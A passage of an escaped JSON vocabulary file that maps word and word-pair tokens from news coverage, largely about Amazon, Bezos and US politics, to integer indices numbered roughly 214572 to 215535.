214572,\n  \"site pushed\": 214573,\n  \"solicitation procurement\": 214574,\n  \"york sex\": 214575,\n  \"marketwatch facebook\": 214576,\n  \"service dispose\": 214577,\n  \"trial monica\": 214578,\n  \"fact hear\": 214579,\n  \"equipment acquisitions\": 214580,\n  \"success academy\": 214581,\n  \"used tariffs\": 214582,\n  \"man marius\": 214583,\n  \"officials gathering\": 214584,\n  \"dominating online\": 214585,\n  \"allen sued\": 214586,\n  \"video emmy\": 214587,\n  \"pay potentially\": 214588,\n  \"boosted package\": 214589,\n  \"sullivan california\": 214590,\n  \"horror thriller\": 214591,\n  \"themed book\": 214592,\n  \"hackers burglarizing\": 214593,\n  \"level streaming\": 214594,\n  \"bezos condemned\": 214595,\n  \"gurnani md\": 214596,\n  \"mobile devicesall\": 214597,\n  \"overstated\": 214598,\n  \"deadliest catch\": 214599,\n  \"rapidly remade\": 214600,\n  \"reforming public\": 214601,\n  \"lutz maria\": 214602,\n  \"workers outsourced\": 214603,\n  \"detailed notes\": 214604,\n  \"post record\": 214605,\n  \"seat covers\": 214606,\n  \"pension benefits\": 214607,\n  \"firstborn lisa\": 214608,\n  \"internet freedoms\": 214609,\n  \"seize 400\": 214610,\n  \"stashed\": 214611,\n  \"program stricter\": 214612,\n  \"radar protest\": 214613,\n  \"hidethumbnail function\": 214614,\n  \"erratic ill\": 214615,\n  \"amendment rights\": 214616,\n  \"assuming\": 214617,\n  \"danny westneat\": 214618,\n  \"create incredibly\": 214619,\n  \"angeles fundraiser\": 214620,\n  \"science south\": 214621,\n  \"stated author\": 214622,\n  \"means pretty\": 214623,\n  \"john lithgow\": 214624,\n  \"govpredict study\": 214625,\n  \"staggered timing\": 214626,\n  \"gilead gild\": 214627,\n  \"companies avoiding\": 214628,\n  \"elementcontents imageurl\": 214629,\n  \"foraging eating\": 214630,\n  \"tech ceos\": 214631,\n  \"keshner workers\": 214632,\n  \"crucified\": 214633,\n  \"does videocmsurl\": 214634,\n  \"deal house\": 214635,\n  \"hanson wrote\": 214636,\n  \"war weighs\": 214637,\n  \"minute drive\": 214638,\n  \"beleaguered administration\": 214639,\n  \"prices package\": 214640,\n  \"continued colbert\": 214641,\n  \"2000s donald\": 214642,\n  \"kennedy building\": 214643,\n  \"cantonalbank\": 214644,\n  \"venture\": 214645,\n  \"acosta dust\": 214646,\n  \"aravella\": 214647,\n  \"632 shares\": 214648,\n  \"new problem\": 214649,\n  \"ryder bezos\": 214650,\n  \"rumored girlfriend\": 214651,\n  \"best words\": 214652,\n  \"pressured amazon\": 214653,\n  \"dating site\": 214654,\n  \"andrew hogan\": 214655,\n  \"compromise talks\": 214656,\n  \"reboot tron\": 214657,\n  \"goldcrest\": 214658,\n  \"green light\": 214659,\n  \"bob woodard\": 214660,\n  \"hacking conspiracy\": 214661,\n  \"outspoken conservative\": 214662,\n  \"relationship attacking\": 214663,\n  \"defunct\": 214664,\n  \"real protagonist\": 214665,\n  \"results announced\": 214666,\n  \"returning figures\": 214667,\n  \"chuck marr\": 214668,\n  \"kabir american\": 214669,\n  \"decreasing heart\": 214670,\n  \"unsworth attorney\": 214671,\n  \"billionaire wsj\": 214672,\n  \"make asia\": 214673,\n  \"impaired viewers\": 214674,\n  \"england soon\": 214675,\n  \"emergency brushes\": 214676,\n  \"nycedc\": 214677,\n  \"administrator scott\": 214678,\n  \"winner amazon\": 214679,\n  \"pennsylvania lawmakers\": 214680,\n  \"reuse\": 214681,\n  \"vogue\": 214682,\n  \"withholding tables\": 214683,\n  \"magazine trump\": 214684,\n  \"erdogan claimed\": 214685,\n  \"bezos allegations\": 214686,\n  \"strong unmistakable\": 214687,\n  \"breakout\": 214688,\n  \"michael norris\": 214689,\n  \"retail juggernaut\": 214690,\n  \"allknow fashions\": 214691,\n  \"creates higher\": 214692,\n  \"supposedly women\": 214693,\n  \"audited deferred\": 214694,\n  \"tech chops\": 214695,\n  \"fickle\": 214696,\n  \"vegas attack\": 214697,\n  \"global investment\": 214698,\n  \"help free\": 214699,\n  \"trimmer amazon\": 214700,\n  \"blasey ford\": 214701,\n  \"day tourists\": 214702,\n  \"old guard\": 214703,\n  \"baby dream\": 214704,\n  \"european military\": 214705,\n  \"union stacey\": 214706,\n  \"organization wascompletely\": 214707,\n  \"future spending\": 214708,\n  \"tweets sending\": 214709,\n  \"advocacy organizations\": 214710,\n  \"faced strong\": 214711,\n  \"officials dispatched\": 214712,\n  \"finds fame\": 214713,\n  \"rocket startup\": 214714,\n  \"threatens\": 214715,\n  \"mullins laura\": 214716,\n  \"maxwell strachan\": 214717,\n  \"cambridge investment\": 214718,\n  \"death destroyer\": 214719,\n  \"america chanted\": 214720,\n  \"robot dinosaurs\": 214721,\n  \"standpoint\": 214722,\n  \"owned forests\": 214723,\n  \"schiff words\": 214724,\n  \"tha\": 214725,\n  \"2017steve jobs\": 214726,\n  \"value diplomacy\": 214727,\n  \"tariff coverage\": 214728,\n  \"twitch\": 214729,\n  \"alliance trump\": 214730,\n  \"stolen checks\": 214731,\n  \"online video\": 214732,\n  \"hall gathering\": 214733,\n  \"delivery using\": 214734,\n  \"instead battling\": 214735,\n  \"tabloid contacted\": 214736,\n  \"purported billionaire\": 214737,\n  \"brazilian energy\": 214738,\n  \"necessary spokesperson\": 214739,\n  \"costly litigation\": 214740,\n  \"containing link\": 214741,\n  \"predate\": 214742,\n  \"adjusted eps\": 214743,\n  \"bezos replies\": 214744,\n  \"multibillionare\": 214745,\n  \"add ons\": 214746,\n  \"concur\": 214747,\n  \"deal warren\": 214748,\n  \"investing aggressively\": 214749,\n  \"uniforms cnn\": 214750,\n  \"lot better\": 214751,\n  \"ovide write\": 214752,\n  \"trump bernie\": 214753,\n  \"misimpression created\": 214754,\n  \"key advantage\": 214755,\n  \"story facebooks\": 214756,\n  \"pay small\": 214757,\n  \"taylor lord\": 214758,\n  \"apple 2018\": 214759,\n  \"partisan efforts\": 214760,\n  \"course squarely\": 214761,\n  \"week related\": 214762,\n  \"freeman issued\": 214763,\n  \"warranted\": 214764,\n  \"amazon normal\": 214765,\n  \"long remembers\": 214766,\n  \"baraka northeast\": 214767,\n  \"annual charity\": 214768,\n  \"drug involved\": 214769,\n  \"cats\": 214770,\n  \"shoes\": 214771,\n  \"boorstin nightly\": 214772,\n  \"delivered split\": 214773,\n  \"shivers\": 214774,\n  \"pfizer investors\": 214775,\n  \"presorting\": 214776,\n  \"changes immediately\": 214777,\n  \"establishing standing\": 214778,\n  \"cia analyst\": 214779,\n  \"stream according\": 214780,\n  \"washington university\": 214781,\n  \"unchecked growth\": 214782,\n  \"national electrical\": 214783,\n  \"taken strict\": 214784,\n  \"cronyisms\": 214785,\n  \"county deputy\": 214786,\n  \"critics warn\": 214787,\n  \"dc mandel\": 214788,\n  \"believe giant\": 214789,\n  \"jobs president\": 214790,\n  \"trulia report\": 214791,\n  \"html _from\": 214792,\n  \"cmtx minutes\": 214793,\n  \"accusing social\": 214794,\n  \"wall prepared\": 214795,\n  \"labor alexander\": 214796,\n  \"polly voices\": 214797,\n  \"complicate present\": 214798,\n  \"cousins nominated\": 214799,\n  \"bezos frequent\": 214800,\n  \"force individuals\": 214801,\n  \"great hostage\": 214802,\n  \"devastating potentially\": 214803,\n  \"legitimate concerns\": 214804,\n  \"level provided\": 214805,\n  \"stated amazon\": 214806,\n  \"gayle king\": 214807,\n  \"pizzazz emotion\": 214808,\n  \"2015 data\": 214809,\n  \"frantically typing\": 214810,\n  \"harney 2019\": 214811,\n  \"continued partnership\": 214812,\n  \"gayle rapid\": 214813,\n  \"professional desktop\": 214814,\n  \"theater reviews\": 214815,\n  \"measuring community\": 214816,\n  \"del brkb\": 214817,\n  \"good position\": 214818,\n  \"nostrums raising\": 214819,\n  \"sanctions warsaw\": 214820,\n  \"commercial usually\": 214821,\n  \"leveled range\": 214822,\n  \"avoid gofundme\": 214823,\n  \"likened\": 214824,\n  \"531\": 214825,\n  \"people tropical\": 214826,\n  \"freshmen\": 214827,\n  \"mounting\": 214828,\n  \"public institution\": 214829,\n  \"outside london\": 214830,\n  \"african american\": 214831,\n  \"procurement lawyer\": 214832,\n  \"inevitable wall\": 214833,\n  \"lure\": 214834,\n  \"represents powerful\": 214835,\n  \"compton\": 214836,\n  \"investigations key\": 214837,\n  \"carol moessinger\": 214838,\n  \"wayne county\": 214839,\n  \"impeachment inquiry\": 214840,\n  \"cal peternell\": 214841,\n  \"slam president\": 214842,\n  \"experts help\": 214843,\n  \"appointment\": 214844,\n  \"hospitality\": 214845,\n  \"wielding monopoly\": 214846,\n  \"international destinations\": 214847,\n  \"enforcement unless\": 214848,\n  \"unusually\": 214849,\n  \"county residents\": 214850,\n  \"cicilline\": 214851,\n  \"directly weaponizing\": 214852,\n  \"board contributed\": 214853,\n  \"usps blaming\": 214854,\n  \"anonymous youtube\": 214855,\n  \"vibrant cities\": 214856,\n  \"sensors indicated\": 214857,\n  \"unreported speculation\": 214858,\n  \"rival services\": 214859,\n  \"capturing pilot\": 214860,\n  \"petitioned companies\": 214861,\n  \"company did\": 214862,\n  \"readying\": 214863,\n  \"stocks return\": 214864,\n  \"taken hit\": 214865,\n  \"hinton amazon\": 214866,\n  \"china doesnt\": 214867,\n  \"kingdom\": 214868,\n  \"godsend\": 214869,\n  \"items conceptually\": 214870,\n  \"burton file\": 214871,\n  \"opinion article\": 214872,\n  \"subsidies plus\": 214873,\n  \"dimitrios kambouris\": 214874,\n  \"warren sanders\": 214875,\n  \"international parcel\": 214876,\n  \"live commentary\": 214877,\n  \"vandenberg\": 214878,\n  \"green cards\": 214879,\n  \"expects\": 214880,\n  \"london chatham\": 214881,\n  \"yr amazon\": 214882,\n  \"detection group\": 214883,\n  \"corp enters\": 214884,\n  \"blimp\": 214885,\n  \"amazon minimal\": 214886,\n  \"agreement blocking\": 214887,\n  \"previously indicated\": 214888,\n  \"hopefuls warren\": 214889,\n  \"french guiana\": 214890,\n  \"valuation facebook\": 214891,\n  \"harper 460k\": 214892,\n  \"apologies seattle\": 214893,\n  \"haired\": 214894,\n  \"charity\": 214895,\n  \"constantly working\": 214896,\n  \"micromax\": 214897,\n  \"sharlee jeter\": 214898,\n  \"immigrants animals\": 214899,\n  \"kim trump\": 214900,\n  \"left trump\": 214901,\n  \"164 member\": 214902,\n  \"editorially\": 214903,\n  \"trump inconsistent\": 214904,\n  \"information presented\": 214905,\n  \"urged usps\": 214906,\n  \"online site\": 214907,\n  \"tech services\": 214908,\n  \"send box\": 214909,\n  \"indexes closing\": 214910,\n  \"trevor belmont\": 214911,\n  \"subsidiary finally\": 214912,\n  \"professor says\": 214913,\n  \"bezos makes\": 214914,\n  \"quarter especially\": 214915,\n  \"cheering ecstasy\": 214916,\n  \"tank writer\": 214917,\n  \"helicopter landing\": 214918,\n  \"bizarre phenomena\": 214919,\n  \"miller redsteeze\": 214920,\n  \"tensor cores\": 214921,\n  \"suggests individual\": 214922,\n  \"nyse cbs\": 214923,\n  \"marketing opportunities\": 214924,\n  \"couple weeks\": 214925,\n  \"program used\": 214926,\n  \"jittery\": 214927,\n  \"christmas tree\": 214928,\n  \"sequels china\": 214929,\n  \"debacle amazon\": 214930,\n  \"address amazon\": 214931,\n  \"innocent people\": 214932,\n  \"frameworks doctors\": 214933,\n  \"collect monument\": 214934,\n  \"striking deals\": 214935,\n  \"embed alongside\": 214936,\n  \"leave courtesy\": 214937,\n  \"company level\": 214938,\n  \"evan siegfried\": 214939,\n  \"systems processes\": 214940,\n  \"timely\": 214941,\n  \"president blasts\": 214942,\n  \"travel\": 214943,\n  \"world sell\": 214944,\n  \"mexico congress\": 214945,\n  \"lawsuit meritless\": 214946,\n  \"effectively acknowledging\": 214947,\n  \"raises cannabis\": 214948,\n  \"royalty easy\": 214949,\n  \"ricketts\": 214950,\n  \"prudent calculation\": 214951,\n  \"secret fling\": 214952,\n  \"nikes\": 214953,\n  \"twitter jihad\": 214954,\n  \"seat filler\": 214955,\n  \"inconvenient social\": 214956,\n  \"expected quarterly\": 214957,\n  \"military order\": 214958,\n  \"upfront second\": 214959,\n  \"transformer toy\": 214960,\n  \"notably walmart\": 214961,\n  \"stop cyberespionage\": 214962,\n  \"daniels\": 214963,\n  \"market claimed\": 214964,\n  \"single options\": 214965,\n  \"record thanks\": 214966,\n  \"issued final\": 214967,\n  \"reports weren\": 214968,\n  \"amongjustice\": 214969,\n  \"andr\\u00e9\": 214970,\n  \"aggressive\": 214971,\n  \"bohemian\": 214972,\n  \"new attack\": 214973,\n  \"ring unrestricted\": 214974,\n  \"story frankly\": 214975,\n  \"swampier\": 214976,\n  \"large technology\": 214977,\n  \"twin hq2s\": 214978,\n  \"andrew adams\": 214979,\n  \"wisconsin state\": 214980,\n  \"additional categories\": 214981,\n  \"voters choose\": 214982,\n  \"2023 following\": 214983,\n  \"chambers\": 214984,\n  \"reciprocal\": 214985,\n  \"viral medium\": 214986,\n  \"links\": 214987,\n  \"american elections\": 214988,\n  \"absurd cronyism\": 214989,\n  \"2ftopnews 28news\": 214990,\n  \"raising pay\": 214991,\n  \"microsoft chief\": 214992,\n  \"upcoming releases\": 214993,\n  \"vuitton brand\": 214994,\n  \"nonretailing\": 214995,\n  \"pepe\": 214996,\n  \"goading\": 214997,\n  \"story want\": 214998,\n  \"reappraises\": 214999,\n  \"goods trade\": 215000,\n  \"mile packages\": 215001,\n  \"send inquired\": 215002,\n  \"caller published\": 215003,\n  \"balancing services\": 215004,\n  \"tech brethren\": 215005,\n  \"america primary\": 215006,\n  \"hilarious best\": 215007,\n  \"widely derided\": 215008,\n  \"becker days\": 215009,\n  \"personal cars\": 215010,\n  \"afternoon white\": 215011,\n  \"reach need\": 215012,\n  \"group stonewall\": 215013,\n  \"survey jolts\": 215014,\n  \"men socks\": 215015,\n  \"marginally\": 215016,\n  \"free cpr\": 215017,\n  \"outlet attributes\": 215018,\n  \"related read\": 215019,\n  \"trek scenes\": 215020,\n  \"right hand\": 215021,\n  \"provides day\": 215022,\n  \"culpa\": 215023,\n  \"personal crises\": 215024,\n  \"green traffic\": 215025,\n  \"eighteen months\": 215026,\n  \"grist\": 215027,\n  \"adores lindsey\": 215028,\n  \"approximate market\": 215029,\n  \"services directly\": 215030,\n  \"business power\": 215031,\n  \"enquirer recent\": 215032,\n  \"company increasing\": 215033,\n  \"reunited illegal\": 215034,\n  \"switzerland cow\": 215035,\n  \"punchline\": 215036,\n  \"defense theme\": 215037,\n  \"send monumental\": 215038,\n  \"banned big\": 215039,\n  \"superior\": 215040,\n  \"firm pays\": 215041,\n  \"sxsw festival\": 215042,\n  \"companies paid\": 215043,\n  \"facebook face\": 215044,\n  \"laymon\": 215045,\n  \"lions\": 215046,\n  \"difference chukumba\": 215047,\n  \"jo\\u0119nia wapichana\": 215048,\n  \"aclu org\": 215049,\n  \"lawyer felix\": 215050,\n  \"data drives\": 215051,\n  \"leadership spot\": 215052,\n  \"government gardner\": 215053,\n  \"classic king\": 215054,\n  \"dundas\": 215055,\n  \"business outside\": 215056,\n  \"salesman john\": 215057,\n  \"heavily favoring\": 215058,\n  \"delivering profits\": 215059,\n  \"withdrawing\": 215060,\n  \"1520251200 according\": 215061,\n  \"representative did\": 215062,\n  \"ranks\": 215063,\n  \"bring things\": 215064,\n  \"ankle bore\": 215065,\n  \"completely robotic\": 215066,\n  \"simmer\": 215067,\n  \"company include\": 215068,\n  \"rxsjwxih7h\": 215069,\n  \"broad stock\": 215070,\n  \"breathtaking\": 215071,\n  \"times documented\": 215072,\n  \"milutinovic gulftimes\": 215073,\n  \"makes 1500\": 215074,\n  \"perfection blackkklansman\": 215075,\n  \"certain news\": 215076,\n  \"home google\": 215077,\n  \"protrump tabloid\": 215078,\n  \"prehensileman\": 215079,\n  \"glitches\": 215080,\n  \"store charlie\": 215081,\n  \"lonely millennial\": 215082,\n  \"brands including\": 215083,\n  \"barria\": 215084,\n  \"federal news\": 215085,\n  \"helped drive\": 215086,\n  \"geekwire photos\": 215087,\n  \"44871788\": 215088,\n  \"exhale\": 215089,\n  \"fba account\": 215090,\n  \"aggregate net\": 215091,\n  \"olympic gold\": 215092,\n  \"gives pro\": 215093,\n  \"stop referring\": 215094,\n  \"mcdougall\": 215095,\n  \"pound sign\": 215096,\n  \"amazon refund\": 215097,\n  \"fiscal woes\": 215098,\n  \"lived rent\": 215099,\n  \"cloud defense\": 215100,\n  \"tariff increases\": 215101,\n  \"fine univision\": 215102,\n  \"separately minneapolis\": 215103,\n  \"oncologists say\": 215104,\n  \"say companies\": 215105,\n  \"knife deep\": 215106,\n  \"getting richer\": 215107,\n  \"breathes\": 215108,\n  \"trending geraldo\": 215109,\n  \"pluto tv\": 215110,\n  \"pay stubs\": 215111,\n  \"holdings hbk\": 215112,\n  \"company fourth\": 215113,\n  \"restored\": 215114,\n  \"details allegations\": 215115,\n  \"sweet deal\": 215116,\n  \"merchants hosted\": 215117,\n  \"interpretation prevented\": 215118,\n  \"rentevaste\": 215119,\n  \"democratic primary\": 215120,\n  \"750 football\": 215121,\n  \"seeing especially\": 215122,\n  \"terrorist threat\": 215123,\n  \"tight\": 215124,\n  \"meets north\": 215125,\n  \"reform agenda\": 215126,\n  \"cabinet nikki\": 215127,\n  \"protein data\": 215128,\n  \"brainwashed\": 215129,\n  \"stonesifer nooyi\": 215130,\n  \"lyft announced\": 215131,\n  \"launch amazon\": 215132,\n  \"editor dylan\": 215133,\n  \"post longtime\": 215134,\n  \"authoritarian\": 215135,\n  \"trump republicanism\": 215136,\n  \"gao\": 215137,\n  \"enact\": 215138,\n  \"business machines\": 215139,\n  \"d2c sales\": 215140,\n  \"tweeted person\": 215141,\n  \"company crushes\": 215142,\n  \"trump best\": 215143,\n  \"2017 say\": 215144,\n  \"krugman noted\": 215145,\n  \"amazon supposedly\": 215146,\n  \"travelers novel\": 215147,\n  \"covers given\": 215148,\n  \"mexico earning\": 215149,\n  \"mind headlineposttext\": 215150,\n  \"ramsay scathing\": 215151,\n  \"toddler jeffrey\": 215152,\n  \"rare need\": 215153,\n  \"randomly sent\": 215154,\n  \"different considerations\": 215155,\n  \"investing total\": 215156,\n  \"nick payne\": 215157,\n  \"war usa\": 215158,\n  \"reputable national\": 215159,\n  \"animal spirits\": 215160,\n  \"amazon wanted\": 215161,\n  \"new warehouse\": 215162,\n  \"seeking medicare\": 215163,\n  \"foot wall\": 215164,\n  \"25thamendment discussion\": 215165,\n  \"called\": 215166,\n  \"harassed women\": 215167,\n  \"skeptic\": 215168,\n  \"make headway\": 215169,\n  \"i1 function\": 215170,\n  \"city near\": 215171,\n  \"did cite\": 215172,\n  \"bezos writes\": 215173,\n  \"operators offers\": 215174,\n  \"time going\": 215175,\n  \"chip earnings\": 215176,\n  \"highsmith boyne\": 215177,\n  \"mcnicoll\": 215178,\n  \"roma\": 215179,\n  \"builds sprawling\": 215180,\n  \"drug stocks\": 215181,\n  \"900 words\": 215182,\n  \"nations framework\": 215183,\n  \"radicalized\": 215184,\n  \"premier news\": 215185,\n  \"adversity\": 215186,\n  \"animal torture\": 215187,\n  \"audience applaud\": 215188,\n  \"walgreen\": 215189,\n  \"inflict painful\": 215190,\n  \"sum nearly\": 215191,\n  \"scuttle\": 215192,\n  \"tax bills\": 215193,\n  \"weeknights\": 215194,\n  \"amazon slides\": 215195,\n  \"smartsheet wsgr\": 215196,\n  \"regarding watergate\": 215197,\n  \"tomorrow breakthrough\": 215198,\n  \"tweet adopted\": 215199,\n  \"protections implemented\": 215200,\n  \"probably view\": 215201,\n  \"dismissive\": 215202,\n  \"hosts second\": 215203,\n  \"firearm\": 215204,\n  \"wildlife needs\": 215205,\n  \"trevor noah\": 215206,\n  \"repercussions nonchalantly\": 215207,\n  \"2018 het\": 215208,\n  \"undercut competition\": 215209,\n  \"writer hillel\": 215210,\n  \"abc says\": 215211,\n  \"mythology\": 215212,\n  \"agent san\": 215213,\n  \"electronics products\": 215214,\n  \"start collecting\": 215215,\n  \"deal living\": 215216,\n  \"deem\": 215217,\n  \"enable ai\": 215218,\n  \"media economy\": 215219,\n  \"yglesias\": 215220,\n  \"slouch\": 215221,\n  \"summit dnc\": 215222,\n  \"custodial work\": 215223,\n  \"conn received\": 215224,\n  \"worth montgomery\": 215225,\n  \"tia\": 215226,\n  \"pressed\": 215227,\n  \"trademarks sparks\": 215228,\n  \"president decision\": 215229,\n  \"publicly announced\": 215230,\n  \"ominous\": 215231,\n  \"increasing industry\": 215232,\n  \"netflix similarly\": 215233,\n  \"morgan\": 215234,\n  \"eli lilly\": 215235,\n  \"brazilian plans\": 215236,\n  \"bay terrace\": 215237,\n  \"occupied\": 215238,\n  \"searching mail\": 215239,\n  \"445 heavy\": 215240,\n  \"ruth highs\": 215241,\n  \"promised voters\": 215242,\n  \"entertain\": 215243,\n  \"border visit\": 215244,\n  \"somebody press\": 215245,\n  \"kimball won\": 215246,\n  \"success bezos\": 215247,\n  \"companies lift\": 215248,\n  \"industry advocates\": 215249,\n  \"html\": 215250,\n  \"whoopi goldberg\": 215251,\n  \"previously does\": 215252,\n  \"example citing\": 215253,\n  \"perform maintenance\": 215254,\n  \"sends users\": 215255,\n  \"worldwide holdings\": 215256,\n  \"measure directed\": 215257,\n  \"presented repeated\": 215258,\n  \"assemblyman\": 215259,\n  \"trust religion\": 215260,\n  \"copyright directive\": 215261,\n  \"meme\": 215262,\n  \"insttype\": 215263,\n  \"app pre\": 215264,\n  \"venezuela military\": 215265,\n  \"1622 national\": 215266,\n  \"gameon\": 215267,\n  \"wires\": 215268,\n  \"midterms georgia\": 215269,\n  \"e721hynqb0\": 215270,\n  \"countless cities\": 215271,\n  \"positions hours\": 215272,\n  \"takes technology\": 215273,\n  \"trump incidentally\": 215274,\n  \"qanon pro\": 215275,\n  \"simone alexenko\": 215276,\n  \"math environmental\": 215277,\n  \"uses unfortunately\": 215278,\n  \"published bezos\": 215279,\n  \"news network\": 215280,\n  \"owner apg\": 215281,\n  \"amazon dialogue\": 215282,\n  \"society elite\": 215283,\n  \"amazon code\": 215284,\n  \"2018 earnings\": 215285,\n  \"spouses budding\": 215286,\n  \"writes alex\": 215287,\n  \"minted\": 215288,\n  \"residences\": 215289,\n  \"account number\": 215290,\n  \"including mijente\": 215291,\n  \"carlson\": 215292,\n  \"timberwolves 108\": 215293,\n  \"sources say\": 215294,\n  \"hit market\": 215295,\n  \"correctly false\": 215296,\n  \"schmid general\": 215297,\n  \"owners scott\": 215298,\n  \"revolvers\": 215299,\n  \"maclachlan kyle_maclachlan\": 215300,\n  \"ways cities\": 215301,\n  \"party primaries\": 215302,\n  \"truck costs\": 215303,\n  \"power north\": 215304,\n  \"murderous intent\": 215305,\n  \"trump embraces\": 215306,\n  \"historic importance\": 215307,\n  \"performance schedule\": 215308,\n  \"flakedems best\": 215309,\n  \"scheme unraveled\": 215310,\n  \"senate republican\": 215311,\n  \"unfolding local\": 215312,\n  \"lorton\": 215313,\n  \"firm ries\": 215314,\n  \"allocating\": 215315,\n  \"aspiring\": 215316,\n  \"goods imported\": 215317,\n  \"dr lee\": 215318,\n  \"seconds new\": 215319,\n  \"amazon getting\": 215320,\n  \"dark portion\": 215321,\n  \"headquarters deal\": 215322,\n  \"undoubtedly push\": 215323,\n  \"service hamstrung\": 215324,\n  \"florida californians\": 215325,\n  \"bezos yanked\": 215326,\n  \"jr\": 215327,\n  \"business journal\": 215328,\n  \"jeff flakejeffrey\": 215329,\n  \"lion hotels\": 215330,\n  \"8211 opting\": 215331,\n  \"stacy kerr\": 215332,\n  \"bringing saudi\": 215333,\n  \"politicians weigel\": 215334,\n  \"wapo robert\": 215335,\n  \"took hold\": 215336,\n  \"social structure\": 215337,\n  \"dominant digital\": 215338,\n  \"sputniknews\": 215339,\n  \"ditches new\": 215340,\n  \"purchased time\": 215341,\n  \"brands stock\": 215342,\n  \"mentor darkest\": 215343,\n  \"foxconn did\": 215344,\n  \"sanders started\": 215345,\n  \"cuomo exactly\": 215346,\n  \"1540500741\": 215347,\n  \"gop protecting\": 215348,\n  \"jesus christ\": 215349,\n  \"raising costs\": 215350,\n  \"amobi\": 215351,\n  \"brussels\": 215352,\n  \"maybe meaningful\": 215353,\n  \"competition amazon\": 215354,\n  \"gov media\": 215355,\n  \"private express\": 215356,\n  \"trump home\": 215357,\n  \"explicit connections\": 215358,\n  \"attorneys argue\": 215359,\n  \"torel told\": 215360,\n  \"chessy prout\": 215361,\n  \"model credited\": 215362,\n  \"office increase\": 215363,\n  \"sinclair executive\": 215364,\n  \"related amazon\": 215365,\n  \"maven microsoft\": 215366,\n  \"toy maker\": 215367,\n  \"favoured\": 215368,\n  \"financial firm\": 215369,\n  \"decelerating\": 215370,\n  \"forming sort\": 215371,\n  \"sizes 183\": 215372,\n  \"practical purposes\": 215373,\n  \"area locally\": 215374,\n  \"eruption minute\": 215375,\n  \"angeles based\": 215376,\n  \"reloaded steak\": 215377,\n  \"typically\": 215378,\n  \"european enterprise\": 215379,\n  \"apart carving\": 215380,\n  \"malmstr\\u00f6m\": 215381,\n  \"brian tanquilut\": 215382,\n  \"level president\": 215383,\n  \"commerce corporation\": 215384,\n  \"fictional\": 215385,\n  \"original business\": 215386,\n  \"chris vernon\": 215387,\n  \"crossover\": 215388,\n  \"amazon gold\": 215389,\n  \"sneaker\": 215390,\n  \"yielding investments\": 215391,\n  \"core markets\": 215392,\n  \"today think\": 215393,\n  \"liberties including\": 215394,\n  \"product modeled\": 215395,\n  \"sudan web\": 215396,\n  \"jackbeattynpr\": 215397,\n  \"market unemployment\": 215398,\n  \"unabashedly\": 215399,\n  \"bar denali\": 215400,\n  \"running business\": 215401,\n  \"analysis capabilities\": 215402,\n  \"recruits\": 215403,\n  \"leave initiative\": 215404,\n  \"unprecedented including\": 215405,\n  \"members wrote\": 215406,\n  \"wework amid\": 215407,\n  \"new ba\": 215408,\n  \"counter amazon\": 215409,\n  \"concise\": 215410,\n  \"results\": 215411,\n  \"virginia values\": 215412,\n  \"max boot\": 215413,\n  \"definitely stay\": 215414,\n  \"candidate lobbed\": 215415,\n  \"habila\": 215416,\n  \"halloween actress\": 215417,\n  \"kesel writes\": 215418,\n  \"nov 2017steve\": 215419,\n  \"dissidents\": 215420,\n  \"committee ripped\": 215421,\n  \"pay long\": 215422,\n  \"bail criminal\": 215423,\n  \"reported security\": 215424,\n  \"blackkklansman\": 215425,\n  \"mobile solutions\": 215426,\n  \"323 shares\": 215427,\n  \"discriminatory behavior\": 215428,\n  \"fight homelessness\": 215429,\n  \"interpret\": 215430,\n  \"transparent stormy\": 215431,\n  \"purposely planted\": 215432,\n  \"enquirer sure\": 215433,\n  \"govcloud eu\": 215434,\n  \"numerous people\": 215435,\n  \"vegetables anti\": 215436,\n  \"authority ofcongress\": 215437,\n  \"maintenance\": 215438,\n  \"oracle lodged\": 215439,\n  \"providing guarantee\": 215440,\n  \"fabulous laugh\": 215441,\n  \"practice inspires\": 215442,\n  \"andrew jackson\": 215443,\n  \"questions imaginable\": 215444,\n  \"600 executives\": 215445,\n  \"account information\": 215446,\n  \"texting mind\": 215447,\n  \"dinner dates\": 215448,\n  \"widens\": 215449,\n  \"question bernie\": 215450,\n  \"reached tentative\": 215451,\n  \"kb4134661\": 215452,\n  \"appoint\": 215453,\n  \"reportedly chosen\": 215454,\n  \"offering downloads\": 215455,\n  \"result bezos\": 215456,\n  \"omelchenko\": 215457,\n  \"subsidies john\": 215458,\n  \"monosodium glutamate\": 215459,\n  \"controversial facial\": 215460,\n  \"community going\": 215461,\n  \"send text\": 215462,\n  \"building outside\": 215463,\n  \"uptake ceo\": 215464,\n  \"innocent baby\": 215465,\n  \"kabir le\": 215466,\n  \"postings\": 215467,\n  \"eu pressure\": 215468,\n  \"hotseat forever\": 215469,\n  \"invented alternative\": 215470,\n  \"month putnam\": 215471,\n  \"helped launch\": 215472,\n  \"included\": 215473,\n  \"actions fast\": 215474,\n  \"owned grocery\": 215475,\n  \"murals\": 215476,\n  \"used transfer\": 215477,\n  \"needling amazon\": 215478,\n  \"cath\\u00e9drale\": 215479,\n  \"uplifting day\": 215480,\n  \"states tripping\": 215481,\n  \"political impact\": 215482,\n  \"era push\": 215483,\n  \"company cancels\": 215484,\n  \"ultrasonic pulses\": 215485,\n  \"academic transcript\": 215486,\n  \"jockey\": 215487,\n  \"ontario outside\": 215488,\n  \"later spread\": 215489,\n  \"blow involves\": 215490,\n  \"dale carnegie\": 215491,\n  \"adopt budget\": 215492,\n  \"making profits\": 215493,\n  \"peter kafka\": 215494,\n  \"quantum\": 215495,\n  \"gmt cigarette\": 215496,\n  \"gold 322\": 215497,\n  \"skeptical\": 215498,\n  \"young tech\": 215499,\n  \"merger referring\": 215500,\n  \"individual sellers\": 215501,\n  \"ads supporting\": 215502,\n  \"expected guidance\": 215503,\n  \"advantage right\": 215504,\n  \"average fell\": 215505,\n  \"immense opportunities\": 215506,\n  \"site shows\": 215507,\n  \"lets individual\": 215508,\n  \"reporter just\": 215509,\n  \"mushy\": 215510,\n  \"hasn heard\": 215511,\n  \"competing brick\": 215512,\n  \"decisions alas\": 215513,\n  \"window cnnvideoapiloadcompletehandlers\": 215514,\n  \"mabinty quarshie\": 215515,\n  \"yardini\": 215516,\n  \"dream\": 215517,\n  \"trump ridiculed\": 215518,\n  \"new statement\": 215519,\n  \"gms growth\": 215520,\n  \"50x50\": 215521,\n  \"abetted\": 215522,\n  \"country launch\": 215523,\n  \"panel leadership\": 215524,\n  \"privately owns\": 215525,\n  \"slogan outraged\": 215526,\n  \"late apple\": 215527,\n  \"town elected\": 215528,\n  \"foxconn billionaire\": 215529,\n  \"racism venezuela\": 215530,\n  \"hicks love\": 215531,\n  \"promptly called\": 215532,\n  \"cars executives\": 215533,\n  \"little sympathy\": 215534,\n  \"getting home\": 215535,\n  \"subsidies\": 